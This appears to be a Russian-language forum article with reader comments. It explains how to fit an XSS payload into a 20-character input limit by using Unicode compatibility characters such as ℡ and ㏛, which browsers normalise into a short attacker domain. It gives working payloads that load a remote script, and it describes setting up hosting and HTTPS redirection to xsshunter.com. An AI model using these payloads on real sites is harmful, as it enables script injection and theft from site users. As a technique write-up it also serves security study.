• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов

CYBRED

CYBRED

New member
21.11.2019
2
24
Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Межсайтовый скриптинг (XSS) - одна из самых распространенных уязвимостей, которую можно обнаружить чуть ли не на любом сайте в сети интернет (на некоторых, вроде Google и Amazon, придется хорошо поискать - в этих компаниях работают много разработчиков с большим опытом за плечами). Однако, иногда возникают проблемы - например, проблема в количестве символов, которое мы можем ввести, для эксплуатации данной уязвимости. В этом посте мы рассмотрим, как можно решить такую проблему, уложившись, например, лишь в 20 символов.

Совместимость с юникодом
В Unicode одни и те же сложные буквы, вроде Й, Ё, Ç и т.д., можно представить в двух формах - в виде одной буквы или в виде одной базовой буквы (например, «C») и модификаторов. Такой подход был введен в стандарт для обеспечения совместимости с существующими ранее стандартными наборами символов. Таким образом, стандарт нормализации Unicode описывает два вида отношений между символами: Canonical и Compatibility.
Каноническая эквивалентность предполагает, что последовательность двух кодовых пунктов является полностью взаимозаменяемой. Т.е., комбинация из двух символов может быть канонически эквивалентна одному символу - n (маленькая латинская "n" - U+006E) + ◌̃ (тильда - U+0303) = ñ (маленькая латинская "ñ" - U + 00F1).
Совместимая эквивалентность предполагает, что две совместимые последовательности кодовых пунктов выглядят по-разному, но в некоторых ситуациях могут быть взаимозаменяемыми. Например, два латинских символа f, т.е. "ff" (U + 0066 U + 0066), имеют эквивалент одному символу "ff" (U+FB00), но не всегда. По сути, мы видим один и тот же текст, однако последовательность символов не является строго эквивалентной (до тех пор, пока мы не проведем нормализацию).


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Проблема с лимитом ввода в 20 символов
Итак, мы нашли уязвимый сайт. Наш пейлоад выглядит так:
HTML:
<svg/onload=alert``>
Это то, что мы смогли сделать, имея лимит в 20 символов - остальная часть, что бы мы не вводили, обрезается. Таким образом, мы имеем проблему, ведь "alert" - это не серьезно, мы же просто выведем пустое сообщение на экран. Подгрузка скрипта со своего домена (в обход CORS, конечно же) была бы идеальной и дала бы нам гораздо больше преимуществ для подготовки более сложной атаки.


Особенности Unicode в браузерах
Не для кого не секрет, что в современных браузерах нет никаких проблем с кодировками, как это было раньше. А это значит, что нам ничего не помешает реализовать нашу шалость.
Рассмотрим следующий пейлоад:
HTML:
<script src=//ffff.pw>
Попробуйте скопировать символы, находящиеся между слезшем и точкой. Заметили? В примере выше, "ff" - это один символ, однако выглядит он как две латинских "f". В таком случае, браузер поведет себя так - он просто интерпретирует "ff" как два символа. Это дает нам огромное преимущество.
Вот ещё примеры символов, которые мы можем использовать:

  • ff экивалентен ff
  • ℠ экивалентен sm
  • ㏛ экивалентен sr
  • st экивалентен st
  • ㎭ экивалентен rad
  • ℡ экивалентен tel
Ещё не все! Больше таких символов можно найти .

Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Реализация
Давайте купим домен telsr.pw.


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Как видите, стоит он не дорого - всего 1.28$.
Если мы будем использовать в нашем пейлоаде только стандартные символы, получится, что мы превысим допустимый лимит в 20 символов.


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Заменим их на эквиваленты:

Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов

HTML:
<script src=//℡㏛.pw>
Кажется, мы добились поставленной задачи.


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Дальнейшие шаги
Выглядит отлично, но мы не учли одну деталь - если на уязвимом сайте будет использоваться HTTPS-протокол, то при импорте любого скрипта, он будет подружаться по этому же протоколу.
Я задумал реализовать DNS-редирект с telsr.pw на xsshunter.com.
И тут появляется ещё одна проблема - так как используется протокол HTTPS, если мы выполним перенаправление при помощи DNS на другой сайт, произойдет несоответствие сертификата, и файл Javascript не будет загружен.


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Решается такая проблема следующим образом:
  1. Покупаем хостинг для нашего домена, я использую namecheap.com за 1.44$/месяц.
  2. Выпускаем для него HTTPS сертификат (бесплатно от Let's Encrypt)
  3. Загружаем простой HTML-файл c соответствующим мета тегом для редиректа, либо пишем PHP-скрипт, либо используем .htaccess. Тут уже дело вкуса. Объяснять, как это делается, я не буду - все гуглится одной строчкой, реализация аналогична.
4. Из - за того, что мы уже не используем DNS-редирект, XSS успешно эксплуатируется.

Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов


Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов
 
W

WhiteHacK

Happy New Year
18.08.2019
39
7
Капец, если бы я знал как решить эту проблему с сертификатом еще три года тому назад, когда я впервые с ней столкнулся 😮

Ну а если по существу то примного благодарен за статью, очень полезно! 👍
 
  • Нравится
Реакции: mrtyrel и explorer
M

memad17

New member
27.11.2019
1
0
Есть у кого лист юников для домена ?
 
larchik

larchik

Grey Team
07.06.2019
136
277
Спасибо за статью! )

Про ffff не знал, пиши еще ))
 
Tappy

Tappy

Happy New Year
25.11.2018
15
2
Спасибо статейка вышла на славу
 
Aleks Binakril

Aleks Binakril

Happy New Year
04.12.2019
25
4
прочитал вашу статью и появился вопрос, а возможны ли коллизии, как с мд5 в в этих цифровых сертификатах или нет?
 
Aleks Binakril

Aleks Binakril

Happy New Year
04.12.2019
25
4
весьма странно что автор пропал - на вопросы не отвечает?
 
Мы в соцсетях: